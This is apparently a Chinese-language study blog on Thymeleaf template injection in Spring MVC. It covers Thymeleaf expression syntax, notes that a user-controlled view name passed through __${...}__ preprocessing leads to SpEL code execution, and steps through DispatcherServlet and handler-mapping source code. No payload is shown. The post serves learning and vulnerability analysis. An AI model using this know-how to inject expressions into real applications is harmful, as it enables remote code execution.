跟着网上学习了一下thymeleaf模版注入,其实主要就是分析Spirng MVC框架在处理HTTP请求的时候,如何根据url寻找对应的处理器进行处理(即Controller实现的具体方法), 再看如何对返回的ModelAndView进行渲染的;

这个漏洞的利用点就是若用户可控Controller返回的视图值, 那在使用ThymeleafView渲染的时候, 就会进行预处理最后通过SPEL执行表达式.

Thymeleaf 模版注入

前言

大部分内容是跟着参考文章一步步调试学习的, 所以部分内容看起来会很臃肿, 可以先看小结部分大致了解下有哪几个部分, 再去调试分析重要的部分

模版引擎

模版引擎简介

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的, 它可以生成特定格式的文档, 用于网站的模板引擎就会生成一个标准的html文档。

模板引擎的本质是将模板文件和数据通过模板引擎生成最终的HTML代码。

模板引擎不属于特定技术领域,它是跨领域跨平台的概念。

模板引擎的出现是为了解决前后端分离的问题, 例如jsp也算是一种模版引擎, 在JSP访问的过程中编译器会识别JSP的标签, 如果是JSP的内容则动态的提取并将执行结果替换, 如果是HTML的内容则原样输出。

test.jsp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
<%=111*111%>
</body>
</html>

既然JSP已经是一个模板引擎了为什么后面还要推出其他的模板引擎?

  1. 动态资源和静态资源全部耦合在一起, 还是需要在JSP​文件中写一些后端代码, 导致很多JAVA开发不能专注于JAVA开发, 还需要写一些前端代码。
  2. 第一次请求 jsp, 必须要在web服务器中编译成 servlet, 第一次运行会较慢。
  3. 每次请求 jsp 都是访问 servlet 再用输出流输出的 html 页面, 效率没有直接使用 html 高。
  4. 如果 jsp 中的内容很多, 页面响应会很慢, 因为是同步加载。
  5. jsp 只能运行在web容器中, 无法运行在 nginx 这样的高效的http服务上。

使用模板引擎的好处是什么?

模板设计好后可以直接填充数据使用, 不需要重新设计页面, 增强了代码的复用性

Thymeleaf

Thymeleaf 的目的:

  • Thymeleaf 的主要目标是为您的开发工作流程带来优雅自然的 模板-HTML 可以在浏览器中正确显示, 也可以作为静态原型工作, 从而可以在开发团队中加强协作。
  • Thymeleaf 拥有适用于 Spring Framework 的模块, 与您喜欢的工具的大量集成以及插入您自己的功能的能力, 对于现代HTML5 JVM Web开发而言, Thymeleaf是理想的选择——尽管它还有很多工作要做。

Thymeleaf 作为被 Springboot 官方推荐的模板引擎, 其好处:

  • 动静分离: Thymeleaf 选用 html 作为模板页, 这是任何一款其他模板引擎做不到的!Thymeleaf 使用 html 通过一些特定标签语法代表其含义, 但并未破坏html结构, 即使无网络、不通过后端渲染也能在浏览器成功打开, 大大方便界面的测试和修改。
  • 开箱即用: Thymeleaf 提供标准和Spring标准两种方言, 可以直接套用模板实现JSTL、 OGNL表达式效果, 避免每天套模板、改JSTL、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。
  • Springboot官方大力推荐和支持, Springboot官方做了很多默认配置, 开发者只需编写对应html即可, 大大减轻了上手难度和配置复杂度。

语法

在 Thymeleaf 的 html 中首先要加上下面的标识。

<html xmlns:th="http://www.thymeleaf.org">

标签

Thymeleaf​提供了一些内置标签, 通过标签来实现特定的功能。

标签 作用 示例
th:id 替换id <input th:id="${user.id}"/>
th:text 文本替换 <p text:="${user.name}">bigsai</p>
th:utext 支持html的文本替换 <p utext:="${htmlcontent}">content</p>
th:object 替换对象 <div th:object="${user}"></div>
th:value 替换值 <input th:value="${user.name}" >
th:each 迭代 <tr th:each="student:${user}" >
th:href 替换超链接 <a th:href="@{index.html}">超链接</a>
th:src 替换资源 <script type="text/javascript" th:src="@{index.js}"></script>

链接表达式

在 Thymeleaf 中, 如果想引入链接比如 link、href、src, 需要使用@{资源地址}引入资源。引入的地址可以在static目录下, 也可以是互联网中的资源。

1
2
3
<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{index.html}">超链接</a>

例如:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org" xmlns="http://www.w3.org/1999/html">
<head>
    <meta charset="UTF-8">
    <title>title</title>
</head>
<body>
<h1>WelCome to Thymeleaf Test</h1>
<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{http://47.93.248.221/index.html}">超链接</a>
</body>
</html>

变量表达式

字符串

通过${...}​在 model 中取值, 如果在 Model 中存储字符串, 则可以通过${对象名}​直接取值

1
2
3
4
5
6
7
8
9
public String getindex(Model model)//对应函数
  {
     //数据添加到model中
     model.addAttribute("name","w0s1np");//普通字符串
     return "test";//与templates中test.html对应
  }

// test.html
<td th:text="'我的名字是:'+${name}"></td>
javabean

如果需要在 javabean 中取值, 则需要将 javabean 的对象存储在 model 中, 通过${对象名.属性}​这种方式来取值, 也可以通过${对象名['对象属性']}​这种方法取值

如果javabean中实现了getter​方法, 还可以通过getter​方法取值${对象.get方法名}

例如:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class User {
    public String name;
    public int age;

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;

@Controller
public class urlController {
    @GetMapping("/index")//页面的url地址
    public String getindex(Model model)//对应函数
    {
        User user = new User("w0s1np",22);
        model.addAttribute("user",user);
        return "test";//与templates中test.html对应
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org" xmlns="http://www.w3.org/1999/html">
<head>
    <meta charset="UTF-8">
    <title>title</title>
</head>
<body>
<h1>WelCome to Thymeleaf Test</h1>
<div th:text="'My name is: ' + ${user.name}"></div>
<td th:text="'My age is: ' + ${user['age']}"></td>
</br>
<td th:text="'Name is: ' + ${user.getName()}"></td>
</br>
<td th:text="'Object is: ' +${user}"></td>
</body>
</html>
Map对象

取Map对象使用${Map名['key']}​或${Map名.key}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
@GetMapping("index")//页面的url地址
 public String getindex(Model model)//对应函数
  {
     Map<String ,String>map=new HashMap<>();
     map.put("place","博学谷");
     map.put("feeling","very well");
     //数据添加到model中
     model.addAttribute("map",map);//储存Map
     return "test";//与templates中test.html对应
  }

<td th:text="${map.get('place')}"></td>
<td th:text="${map['feeling']}"></td>
List合集

取List集合:List集合是一个有序列表, 需要使用each遍历赋值, <tr th:each="item:${userlist}">

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
@GetMapping("index")//页面的url地址
 public String getindex(Model model)//对应函数
  {
     List<String>userList=new ArrayList<>();
     userList.add("zhang san 66");
     userList.add("li si 66");
     userList.add("wang wu 66");
     //数据添加到model中
     model.addAttribute("userlist",userList);//储存List
     return "test";//与templates中test.html对应
  }

<tr th:each="item:${userlist}">
	<td th:text="${item}"></td>
</tr>

选择变量表达式

变量表达式也可以写为*{...}

星号语法对选定对象而不是整个上下文评估表达式. 也就是说, 只要没有选定的对象, ${…}​和*{...}​的语法就完全一样。

1
2
3
4
5
<div th:object="${user}">
    <p>Name: <span th:text="*{name}"></span>.</p>
    <p>Age: <span th:text="*{age}">18</span>.</p>
    <p>Detail: <span th:text="*{detail}">好好学习</span>.</p>
</div>

消息表达式

文本外部化是从模板文件中提取模板代码的片段, 以便可以将它们保存在单独的文件(通常是.properties​文件)中, 文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}​语法就是用来读取配置文件中数据的。

片段表达式

片段表达式~{...}​可以用于引用公共的目标片段, 比如可以在一个template/footer.html​中定义下面的片段, 并在另一个template​中引用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org">

  <body>

    <div th:fragment="copy">
      &copy; 2011 The Good Thymes Virtual Grocery
    </div>

  </body>

</html>
1
2
3
4
5
<body>

  <div th:insert="~{footer :: copy}"></div>

</body>

片段表达式语法:

~{templatename::selector}

会在/WEB-INF/templates/​目录下寻找名为templatename​的模版中定义的fragment​, 如上面的~{footer :: copy}

~{templatename}: 引用整个templatename模版文件作为fragment

~{::selector}​ 或 ~{this::selector}: 引用来自同一模版文件名为selector​的fragmnt

~{}​片段表达式中出现::​, 则::​后需要有值, 也就是selector​。

预处理

预处理是在正常表达式之前完成的表达式的执行, 允许修改最终将执行的表达式。

预处理的表达式与普通表达式完全一样, 但被双下划线符号(如__${expression}__​)包围。

这是出现SSTI最关键的一个地方, 预处理也可以解析执行表达式. 也就是说找到一个可以控制预处理表达式的地方, 让其解析执行我们的payload即可达到任意代码执行

Spring MVC

Thymeleaf 模板引擎在整个web项目中起到的作用为视图展示(view), 谈到视图就不得不提起模型(model)以及控制器(view), 其三者在web项目中分工和职责不同, 但又相互有联系。三者组成当今web项目较为流行的MVC架构。

image

核心组件

前端控制器DispatcherServlet

接收请求, 响应结果, 相当于转发器, 中央处理器。

用户请求到达前端控制器, 它就相当于mvc模式中的c, dispatcherServlet​是整个流程控制的中心, 由它调用其它组件处理用户的请求, dispatcherServlet​的存在降低了组件之间的耦合性。

处理器映射器HandlerMapping

根据请求的url查找Handler, HandlerMapping​负责根据用户请求找到Handler​(即处理器).

springmvc提供了不同的映射器实现不同的映射方式, 例如:配置文件方式、实现接口方式、注解方式等。

处理器适配器HandlerAdapter

按照特定规则(HandlerAdapter要求的规则)通过HandlerAdapter​对处理器handler​进行执行,

这是适配器模式的应用, 编写Handler时按照HandlerAdapter的要求去做, 这样适配器才可以去正确执行Handler, 通过扩展适配器可以对更多类型的处理器进行执行。

处理器Handler

Handler是继DispatcherServlet前端控制器的后端控制器, 在DispatcherServlet的控制下Handler对具体的用户请求进行处理。

由于Handler涉及到具体的用户业务请求, 所以一般情况需要工程师根据业务需求开发Handler。

视图解析器ViewResolver

进行视图解析, 根据逻辑视图名解析成真正的视图(view) , ViewResolver负责将处理结果生成View视图

ViewResolver​首先根据逻辑视图名解析成物理视图名即具体的页面地址, 再生成View视图对象, 最后对View进行渲染将处理结果通过页面展示给用户。

springmvc框架提供了很多的View视图类型, 包括:jstl View、freemarker View、pdf View等。

解析流程

image

  • (1)客户端发起的请求request​通过核心处理器DispatcherServlet​进行处理
  • (2-3)核心处理器DispatcherServlet​通过注册在spring中的HandlerMapping​找到对应的Handler(其实是HandlerMethod, 可以认为是我们编写的某个Controller对象的具体的某个方法 即通过映射器将请求映射到Controller的方法上), 同时将注册在spring中的所有拦截器和Handler包装成执行链HandlerExecutionChain​并返回给核心处理器DispatcherServlet
  • (4)核心处理器 DispatcherServlet 通过2-3步获取的Handler来查找对应的处理器适配器HandlerAdapter
  • (5-7)适配器调用实现对应接口的处理器, 并将结果返回给适配器, 结果中包含数据模型和视图对象, 再由适配器返回给核心控制器
  • (8-9)核心控制器将获取的数据和视图结合的对象传递给视图解析器, 获取解析得到的结果, 并由视图解析器响应给核心控制器
  • (10)渲染视图
  • (11)核心控制器将response返回给客户端

直接在 Controller 下断点, 看调用栈

image

其实可以看到, 最开始就是之前java agent内存马看到的, 会先经过FilterChain​使用过滤器进行数据过滤

再到HttpServlet​对请求进行处理, 然后会传入到DispatcherServlet#doService​进行实际处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
    // 负责初始化请求上下文、处理 Flash 属性、调用分发逻辑,并在必要时恢复请求属性。
	protected void doService(HttpServletRequest request, HttpServletResponse response) throws Exception {
        this.logRequest(request);

		// 如果当前请求是包含请求(include 类型),则对请求的属性进行快照保存。这样可以在请求处理完成后恢复这些属性,避免影响外层请求。
        Map<String, Object> attributesSnapshot = null;
        if (WebUtils.isIncludeRequest(request)) {
            attributesSnapshot = new HashMap();
            Enumeration<?> attrNames = request.getAttributeNames();

            while(attrNames.hasMoreElements()) {
                String attrName = (String)attrNames.nextElement();
                if (this.cleanupAfterInclude || attrName.startsWith("org.springframework.web.servlet")) {
                    attributesSnapshot.put(attrName, request.getAttribute(attrName));
                }
            }
        }

		// 将一些关键的上下文信息(如 WebApplicationContext、LocaleResolver、ThemeResolver 等)设置为请求属性,供后续处理使用。
        request.setAttribute(WEB_APPLICATION_CONTEXT_ATTRIBUTE, this.getWebApplicationContext());
        request.setAttribute(LOCALE_RESOLVER_ATTRIBUTE, this.localeResolver);
        request.setAttribute(THEME_RESOLVER_ATTRIBUTE, this.themeResolver);
        request.setAttribute(THEME_SOURCE_ATTRIBUTE, this.getThemeSource());

        if (this.flashMapManager != null) {
            FlashMap inputFlashMap = this.flashMapManager.retrieveAndUpdate(request, response);
            if (inputFlashMap != null) {
                request.setAttribute(INPUT_FLASH_MAP_ATTRIBUTE, Collections.unmodifiableMap(inputFlashMap));
            }

            request.setAttribute(OUTPUT_FLASH_MAP_ATTRIBUTE, new FlashMap());
            request.setAttribute(FLASH_MAP_MANAGER_ATTRIBUTE, this.flashMapManager);
        }

		// 调用 doDispatch 方法处理请求的分发逻辑(如找到合适的处理器、执行处理器逻辑等)。在请求处理完成后,如果是包含请求且有属性快照,则恢复原始属性。
        try {
            this.doDispatch(request, response);
        } finally {
            if (!WebAsyncUtils.getAsyncManager(request).isConcurrentHandlingStarted() && attributesSnapshot != null) {
                this.restoreAttributesAfterInclude(request, attributesSnapshot);
            }

        }

    }

进入doDispatch

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
	protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
		// 当前需要处理的请求
        HttpServletRequest processedRequest = request;
		// Handler执行链
        HandlerExecutionChain mappedHandler = null;
		// 判断是否为多部分请求
        boolean multipartRequestParsed = false;
		// 异步
        WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);

        try {
            try {
				// 视图
                ModelAndView mv = null;
                Exception dispatchException = null;

                try {
					//  检查请求是否为多部分请求(例如文件上传 multipart/form-data)
                    processedRequest = this.checkMultipart(request);
                    multipartRequestParsed = processedRequest != request;
					// 获取与请求匹配的处理器链
                    mappedHandler = this.getHandler(processedRequest);
                    if (mappedHandler == null) {
                        this.noHandlerFound(processedRequest, response);
                        return;
                    }

					// 获取支持该处理器的适配器
                    HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());
					// 获取请求方法
                    String method = request.getMethod();
                    boolean isGet = "GET".equals(method);
					// 检查 HTTP 请求是否可以利用缓存的 Last-Modified 时间戳来避免不必要的处理
                    if (isGet || "HEAD".equals(method)) {
                        long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
                        if ((new ServletWebRequest(request, response)).checkNotModified(lastModified) && isGet) {
							// 如果资源未被修改(基于 If-Modified-Since 请求头和 lastModified 时间戳),并且是 GET 请求,则直接返回,避免进一步处理
                            return;
                        }
                    }

					// 检查拦截器链的 preHandle 方法是否允许继续处理请求
                    if (!mappedHandler.applyPreHandle(processedRequest, response)) {
                        return;
                    }

					// 执行Controller中(Handler)的方法, 返回ModelAndView视图
                    mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
                    if (asyncManager.isConcurrentHandlingStarted()) {
						// 判断是不是异步请求, 是就返回了
                        return;
                    }

					// 判断mv是否设置成功view, 否则分配默认视图
                    this.applyDefaultViewName(processedRequest, mv);
					// 在处理请求之后但在视图渲染之前, 执行拦截器的 postHandle 方法, 对 ModelAndView 进行修改或添加额外的逻辑
                    mappedHandler.applyPostHandle(processedRequest, response, mv);
                } catch (Exception ex) {
                    dispatchException = ex;
                } catch (Throwable err) {
                    dispatchException = new NestedServletException("Handler dispatch failed", err);
                }

				// 对页面渲染
                this.processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
            } catch (Exception ex) {
                this.triggerAfterCompletion(processedRequest, response, mappedHandler, ex);
            } catch (Throwable err) {
                this.triggerAfterCompletion(processedRequest, response, mappedHandler, new NestedServletException("Handler processing failed", err));
            }

        } finally {
            if (asyncManager.isConcurrentHandlingStarted()) {
                if (mappedHandler != null) {
                    mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
                }
            } else if (multipartRequestParsed) {
                this.cleanupMultipart(processedRequest);
            }

        }
    }

获取handler

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
        if (this.handlerMappings != null) {
            for(HandlerMapping mapping : this.handlerMappings) {
				// 根据请求获取 HandlerExecutionChain
                HandlerExecutionChain handler = mapping.getHandler(request);
                if (handler != null) {
                    return handler;
                }
            }
        }

        return null;
    }

handlerMappings:处理器映射, 保存了每一个处理器可以处理哪些请求的方法的映射信息。

org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
	public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
		// 根据请求获取Handler
        Object handler = this.getHandlerInternal(request);
        if (handler == null) {
			// 获取默认Handler
            handler = this.getDefaultHandler();
        }

        if (handler == null) {
            return null;
        } else {
			// 如果handler继承String, 则获取名称为 handlerName 的 Bean 实例
            if (handler instanceof String) {
                String handlerName = (String)handler;
                handler = this.obtainApplicationContext().getBean(handlerName);
            }

			// 获取HandlerExecutionChain
            HandlerExecutionChain executionChain = this.getHandlerExecutionChain(handler, request);
            if (this.logger.isTraceEnabled()) {
                this.logger.trace("Mapped to " + handler);
            } else if (this.logger.isDebugEnabled() && !request.getDispatcherType().equals(DispatcherType.ASYNC)) {
                this.logger.debug("Mapped to " + executionChain.getHandler());
            }

			// 为请求处理链添加 CORS 相关的拦截器或处理逻辑,以确保跨域请求的正确处理。
            if (this.hasCorsConfigurationSource(handler)) {
                CorsConfiguration config = this.corsConfigurationSource != null ? this.corsConfigurationSource.getCorsConfiguration(request) : null;
                CorsConfiguration handlerConfig = this.getCorsConfiguration(handler, request);
                config = config != null ? config.combine(handlerConfig) : handlerConfig;
                executionChain = this.getCorsHandlerExecutionChain(request, executionChain, config);
            }

            return executionChain;
        }
    }

org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
	protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
		// 获取请求路径
        String lookupPath = this.getUrlPathHelper().getLookupPathForRequest(request);
		// 设置路径属性
        request.setAttribute(LOOKUP_PATH, lookupPath);
        this.mappingRegistry.acquireReadLock();

        HandlerMethod var4;
        try {
			// 获取对应的Handler方法
            HandlerMethod handlerMethod = this.lookupHandlerMethod(lookupPath, request);
			// 创建一个新的handlerMethod并解析与之关联的 Spring Bean
            var4 = handlerMethod != null ? handlerMethod.createWithResolvedBean() : null;
        } finally {
            this.mappingRegistry.releaseReadLock();
        }

        return var4;
    }

org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
	protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception {
		// 创建一个空的 matches 列表, 用于存储所有可能匹配的 HandlerMethod
        List<AbstractHandlerMethodMapping<T>.Match> matches = new ArrayList();
		// 通过uri直接在注册的RequestMapping中获取对应的RequestMappingInfo列表
		// 需要注意的是, 这里进行查找的方式只是通过url进行查找, 但是具体哪些RequestMappingInfo是匹配的, 还需要进一步过滤
        List<T> directPathMatches = this.mappingRegistry.getMappingsByUrl(lookupPath);
        if (directPathMatches != null) {
			// 如果存在直接匹配的映射, 直接添加到 matches 列表中
			// 匹配的情况主要有三种:
			// ①在RequestMapping中定义的是PathVariable, 如/user/detail/{id};
			// ②在RequestMapping中定义了问号表达式, 如/user/?etail;
			// ③在RequestMapping中定义了*或**匹配, 如/user/detail/**
            this.addMatchingMappings(directPathMatches, matches, request);
        }

        if (matches.isEmpty()) {
			// 如果无法通过uri进行直接匹配, 则对所有的注册的RequestMapping进行匹配
            this.addMatchingMappings(this.mappingRegistry.getMappings().keySet(), matches, request);
        }

        if (!matches.isEmpty()) {
			// 使用 MatchComparator 对匹配结果进行优先级排序, 找到最佳匹配
            Comparator<AbstractHandlerMethodMapping<T>.Match> comparator = new MatchComparator(this.getMappingComparator(request));
            matches.sort(comparator);
            AbstractHandlerMethodMapping<T>.Match bestMatch = (Match)matches.get(0);
            if (matches.size() > 1) {
				// 两个优先级一样就抛错
                if (this.logger.isTraceEnabled()) {
                    this.logger.trace(matches.size() + " matching mappings: " + matches);
                }
		
				// 如果请求是 CORS 预检请求
                if (CorsUtils.isPreFlightRequest(request)) {
                    return PREFLIGHT_AMBIGUOUS_MATCH;
                }

                AbstractHandlerMethodMapping<T>.Match secondBestMatch = (Match)matches.get(1);
                if (comparator.compare(bestMatch, secondBestMatch) == 0) {
                    Method m1 = bestMatch.handlerMethod.getMethod();
                    Method m2 = secondBestMatch.handlerMethod.getMethod();
                    String uri = request.getRequestURI();
                    throw new IllegalStateException("Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}");
                }
            }

			// 将最佳匹配的 HandlerMethod 设置为请求属性
            request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod);
			// 调用 handleMatch 方法处理匹配
            this.handleMatch(bestMatch.mapping, lookupPath, request);
			// 返回最佳匹配的 HandlerMethod
            return bestMatch.handlerMethod;
        } else {
            return this.handleNoMatch(this.mappingRegistry.getMappings().keySet(), lookupPath, request);
        }
    }

image

到此就获取到对应的 handler

回到org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler

刚才获取到请求对应的handler​了, 后面还会获取对应的executionChain​, 即表示一个处理器(handler)及其相关的拦截器链。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
    protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
        HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
        String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, LOOKUP_PATH);

		// 用 HandlerExecutionChain 包装 handler, 往里面添加适配的拦截器(HandlerInterceptor)
        for(HandlerInterceptor interceptor : this.adaptedInterceptors) {
            if (interceptor instanceof MappedInterceptor) {
                MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
                if (mappedInterceptor.matches(lookupPath, this.pathMatcher)) {
                    chain.addInterceptor(mappedInterceptor.getInterceptor());
                }
            } else {
                chain.addInterceptor(interceptor);
            }
        }

        return chain;
    }

然后回到org.springframework.web.servlet.DispatcherServlet#doDispatch​执行流程

调用HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {
        if (this.handlerAdapters != null) {
            for(HandlerAdapter adapter : this.handlerAdapters) {
				// 判断处理器是否支持
                if (adapter.supports(handler)) {
                    return adapter;
                }
            }
        }

        throw new ServletException("No adapter for handler [" + handler + "]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");
    }

    public final boolean supports(Object handler) {
        return handler instanceof HandlerMethod && this.supportsInternal((HandlerMethod)handler);
    }

image

执行interceptors#preHandle

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    public HandlerInterceptor[] getInterceptors() {
        if (this.interceptors == null && this.interceptorList != null) {
            this.interceptors = (HandlerInterceptor[])this.interceptorList.toArray(new HandlerInterceptor[0]);
        }

        return this.interceptors;
    }    

	boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
		// 获取interceptor拦截器
        HandlerInterceptor[] interceptors = this.getInterceptors();
        if (!ObjectUtils.isEmpty(interceptors)) {
			// 遍历调用preHandle方法, 这里没配置interceptor, 获取到自动配置的2个拦截器。
			// ConversionServiceExposingInterceptor、ResourceUrlProviderExposingInterceptor
            for(int i = 0; i < interceptors.length; this.interceptorIndex = i++) {
                HandlerInterceptor interceptor = interceptors[i];
                if (!interceptor.preHandle(request, response, this.handler)) {
                    this.triggerAfterCompletion(request, response, (Exception)null);
                    return false;
                }
            }
        }

        return true;
    }

调用handler 获取ModelAndView

流程继调用回到org.springframework.web.servlet.DispatcherServlet#doDispatch

调用mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
	// 执行目标的HandlerMethod, 然后返回一个ModelAndView 
	protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
        ServletWebRequest webRequest = new ServletWebRequest(request, response);

        Object result;
        try {
			// 用于创建数据绑定器, 处理请求参数到方法参数的绑定;@InitBinder的methods会被引用进来
            WebDataBinderFactory binderFactory = this.getDataBinderFactory(handlerMethod);
			// 用于初始化模型数据;@ModelAttribute方法会被引用进来
            ModelFactory modelFactory = this.getModelFactory(handlerMethod, binderFactory);
			// 封装了实际的处理方法, 负责调用控制器中的方法
            ServletInvocableHandlerMethod invocableMethod = this.createInvocableHandlerMethod(handlerMethod);

			// 对invocableMethod进行赋值
            if (this.argumentResolvers != null) {
                invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers);
            }

            if (this.returnValueHandlers != null) {
                invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers);
            }

            invocableMethod.setDataBinderFactory(binderFactory);
            invocableMethod.setParameterNameDiscoverer(this.parameterNameDiscoverer);

			// 创建 ModelAndViewContainer,用于存储模型数据和视图信息
            ModelAndViewContainer mavContainer = new ModelAndViewContainer();
            mavContainer.addAllAttributes(RequestContextUtils.getInputFlashMap(request));
            modelFactory.initModel(webRequest, mavContainer, invocableMethod);
            mavContainer.setIgnoreDefaultModelOnRedirect(this.ignoreDefaultModelOnRedirect);

			// 创建 AsyncWebRequest 并设置超时时间
            AsyncWebRequest asyncWebRequest = WebAsyncUtils.createAsyncWebRequest(request, response);
            asyncWebRequest.setTimeout(this.asyncRequestTimeout);

			// 注册异步任务执行器和拦截器
            WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
            asyncManager.setTaskExecutor(this.taskExecutor);
            asyncManager.setAsyncWebRequest(asyncWebRequest);
            asyncManager.registerCallableInterceptors(this.callableInterceptors);
            asyncManager.registerDeferredResultInterceptors(this.deferredResultInterceptors);

			// 检查是否有异步结果,如果有,则恢复异步结果并继续处理
            if (asyncManager.hasConcurrentResult()) {
                result = asyncManager.getConcurrentResult();
                mavContainer = (ModelAndViewContainer)asyncManager.getConcurrentResultContext()[0];
                asyncManager.clearConcurrentResult();
                LogFormatUtils.traceDebug(this.logger, (traceOn) -> {
                    String formatted = LogFormatUtils.formatValue(result, !traceOn);
                    return "Resume with async result [" + formatted + "]";
                });
                invocableMethod = invocableMethod.wrapConcurrentResult(result);
            }

			// 调用控制器方法并处理返回值
			// 任何HandlerMethod执行完后都是把结果放在了mavContainer里(它可能有Model, 可能有View, 可能啥都木有~~)
            invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);
			// 处理同步请求的返回值
            if (!asyncManager.isConcurrentHandlingStarted()) {
                result = this.getModelAndView(mavContainer, modelFactory, webRequest);
                return (ModelAndView)result;
            }

            result = null;
        } finally {
            webRequest.requestCompleted();
        }

        return (ModelAndView)result;
    }

调用invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
    public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
        Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);
        this.setResponseStatus(webRequest);
        if (returnValue == null) {
            if (this.isRequestNotModified(webRequest) || this.getResponseStatus() != null || mavContainer.isRequestHandled()) {
                this.disableContentCachingIfNecessary(webRequest);
                mavContainer.setRequestHandled(true);
                return;
            }
        } else if (StringUtils.hasText(this.getResponseStatusReason())) {
            mavContainer.setRequestHandled(true);
            return;
        }

        mavContainer.setRequestHandled(false);
        Assert.state(this.returnValueHandlers != null, "No return value handlers");

        try {
            this.returnValueHandlers.handleReturnValue(returnValue, this.getReturnValueType(returnValue), mavContainer, webRequest);
        } catch (Exception var6) {
            if (this.logger.isTraceEnabled()) {
                this.logger.trace(this.formatErrorForReturnValue(returnValue), var6);
            }

            throw var6;
        }
    }

